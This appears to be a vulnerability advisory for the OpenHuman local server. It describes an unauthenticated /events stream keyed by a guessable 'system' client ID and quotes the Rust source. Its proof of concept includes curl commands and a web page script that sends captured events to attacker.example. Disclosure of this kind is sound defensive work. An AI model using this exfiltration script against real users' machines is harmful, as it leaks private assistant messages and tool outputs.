Summary
The local server exposes /events without authentication. Any client that knows or guesses a client_id can subscribe to matching WebChannelEvent objects. The fixed system client ID is used for proactive messages, making at least one useful event stream predictable.
Details
The /events endpoint is public:
src/core/auth.rs
const PUBLIC_PATHS: &[&str] = &[
"/",
"/health",
"/auth/telegram",
"/schema",
"/events",
"/events/webhooks",
"/ws/dictation",
];
The endpoint accepts a caller-controlled client_id and filters events only by that value:
src/core/jsonrpc.rs, events_handler
#[derive(Deserialize)]
struct EventsQuery {
client_id: String,
}
async fn events_handler(Query(query): Query<EventsQuery>) -> Sse<impl Stream<Item = Result<Event, Infallible>>> {
let client_id = query.client_id;
let rx = subscribe_web_channel_events();
let stream = BroadcastStream::new(rx).filter_map(move |msg| {
let client_id = client_id.clone();
async move {
match msg {
Ok(event) => {
if event.client_id != client_id {
return None;
}
let data = serde_json::to_string(&event).unwrap_or_else(|_| "{}".to_string());
Some(Ok(Event::default().event(event.event).data(data)))
}
Err(_) => None,
}
}
});
The event bus broadcasts WebChannelEvent values process-wide:
src/openhuman/channels/providers/web.rs
static EVENT_BUS: Lazy<broadcast::Sender<WebChannelEvent>> = Lazy::new(|| {
let (tx, _rx) = broadcast::channel(512);
tx
});
pub fn subscribe_web_channel_events() -> broadcast::Receiver<WebChannelEvent> {
EVENT_BUS.subscribe()
}
pub fn publish_web_channel_event(event: WebChannelEvent) {
let _ = EVENT_BUS.send(event);
}
The event object can contain sensitive user-facing data and tool data:
src/core/socketio.rs, WebChannelEvent
pub struct WebChannelEvent {
pub event: String,
pub client_id: String,
pub thread_id: String,
pub request_id: String,
pub full_response: Option<String>,
pub message: Option<String>,
pub error_type: Option<String>,
pub tool_name: Option<String>,
pub skill_id: Option<String>,
pub args: Option<serde_json::Value>,
pub output: Option<String>,
Proactive messages use the fixed client ID system:
src/openhuman/channels/proactive.rs
publish_web_channel_event(WebChannelEvent {
event: "proactive_message".to_string(),
client_id: "system".to_string(),
thread_id: thread_id.clone(),
request_id: request_id.clone(),
full_response: Some(message.clone()),
The server also sets permissive CORS headers:
src/core/jsonrpc.rs, with_cors_headers
headers.insert(ACCESS_CONTROL_ALLOW_ORIGIN, HeaderValue::from_static("*"));
headers.insert(ACCESS_CONTROL_ALLOW_METHODS, HeaderValue::from_static("GET, POST, OPTIONS"));
headers.insert(ACCESS_CONTROL_ALLOW_HEADERS, HeaderValue::from_static("Content-Type, Authorization"));
Input source: unauthenticated client_id query parameter on GET /events.
Vulnerable sink: server-sent event stream that serializes and returns matching WebChannelEvent objects, including full_response, args, and output.
PoC
Setup assumptions:
OpenHuman core is running on 127.0.0.1:7788.
Start an unauthenticated listener for the fixed system event stream:
curl -i -N "http://127.0.0.1:7788/events?client_id=system"
Expected immediate result:
The request is accepted without an Authorization header and remains open as an SSE stream. It should not return 401 Unauthorized.
Trigger a proactive message. One deterministic way, as a legitimate local user/tester, is to run a seeded proactive cron job such as morning_briefing through the authenticated RPC interface.
List jobs:
TOKEN='paste_local_core_bearer_token_here'
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","id":"1","method":"cron.list","params":{}}' \
http://127.0.0.1:7788/rpc
Find the morning_briefing job ID in the response, then run it:
JOB_ID='paste_morning_briefing_job_id_here'
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
--data "{\"jsonrpc\":\"2.0\",\"id\":\"2\",\"method\":\"cron.run\",\"params\":{\"job_id\":\"${JOB_ID}\"}}" \
http://127.0.0.1:7788/rpc
Expected result in the unauthenticated curl -N listener:
event: proactive_message
data: {"event":"proactive_message","client_id":"system","thread_id":"...","request_id":"...","full_response":"..."}
A malicious website can also subscribe and exfiltrate the stream:
<!doctype html>
<html>
<body>
<script>
const es = new EventSource("http://127.0.0.1:7788/events?client_id=system");
es.addEventListener("proactive_message", event => {
fetch("https://attacker.example/leak", {
method: "POST",
mode: "no-cors",
body: event.data
});
});
</script>
</body>
</html>
Expected result:
When a system proactive message is published, the attacker-controlled page receives the serialized event data and sends it to the attacker.
Impact
An unauthenticated attacker can read proactive assistant messages intended for the local UI. For known or guessed client IDs, the same endpoint can expose full assistant responses, streamed messages, tool names, tool arguments, and raw tool outputs. The fixed system client ID makes proactive-message leakage reproducible without guessing a random client identifier.
Summary
The local server exposes
/eventswithout authentication. Any client that knows or guesses aclient_idcan subscribe to matchingWebChannelEventobjects. The fixedsystemclient ID is used for proactive messages, making at least one useful event stream predictable.Details
The
/eventsendpoint is public:src/core/auth.rsThe endpoint accepts a caller-controlled
client_idand filters events only by that value:src/core/jsonrpc.rs,events_handlerThe event bus broadcasts
WebChannelEventvalues process-wide:src/openhuman/channels/providers/web.rsThe event object can contain sensitive user-facing data and tool data:
src/core/socketio.rs,WebChannelEventProactive messages use the fixed client ID
system:src/openhuman/channels/proactive.rsThe server also sets permissive CORS headers:
src/core/jsonrpc.rs,with_cors_headersInput source: unauthenticated
client_idquery parameter onGET /events.Vulnerable sink: server-sent event stream that serializes and returns matching
WebChannelEventobjects, includingfull_response,args, andoutput.PoC
Setup assumptions:
OpenHuman core is running on
127.0.0.1:7788.Start an unauthenticated listener for the fixed
systemevent stream:curl -i -N "http://127.0.0.1:7788/events?client_id=system"Expected immediate result:
The request is accepted without an
Authorizationheader and remains open as an SSE stream. It should not return401 Unauthorized.Trigger a proactive message. One deterministic way, as a legitimate local user/tester, is to run a seeded proactive cron job such as
morning_briefingthrough the authenticated RPC interface.List jobs:
Find the
morning_briefingjob ID in the response, then run it:Expected result in the unauthenticated
curl -Nlistener:A malicious website can also subscribe and exfiltrate the stream:
Expected result:
When a
systemproactive message is published, the attacker-controlled page receives the serialized event data and sends it to the attacker.Impact
An unauthenticated attacker can read proactive assistant messages intended for the local UI. For known or guessed client IDs, the same endpoint can expose full assistant responses, streamed messages, tool names, tool arguments, and raw tool outputs. The fixed
systemclient ID makes proactive-message leakage reproducible without guessing a random client identifier.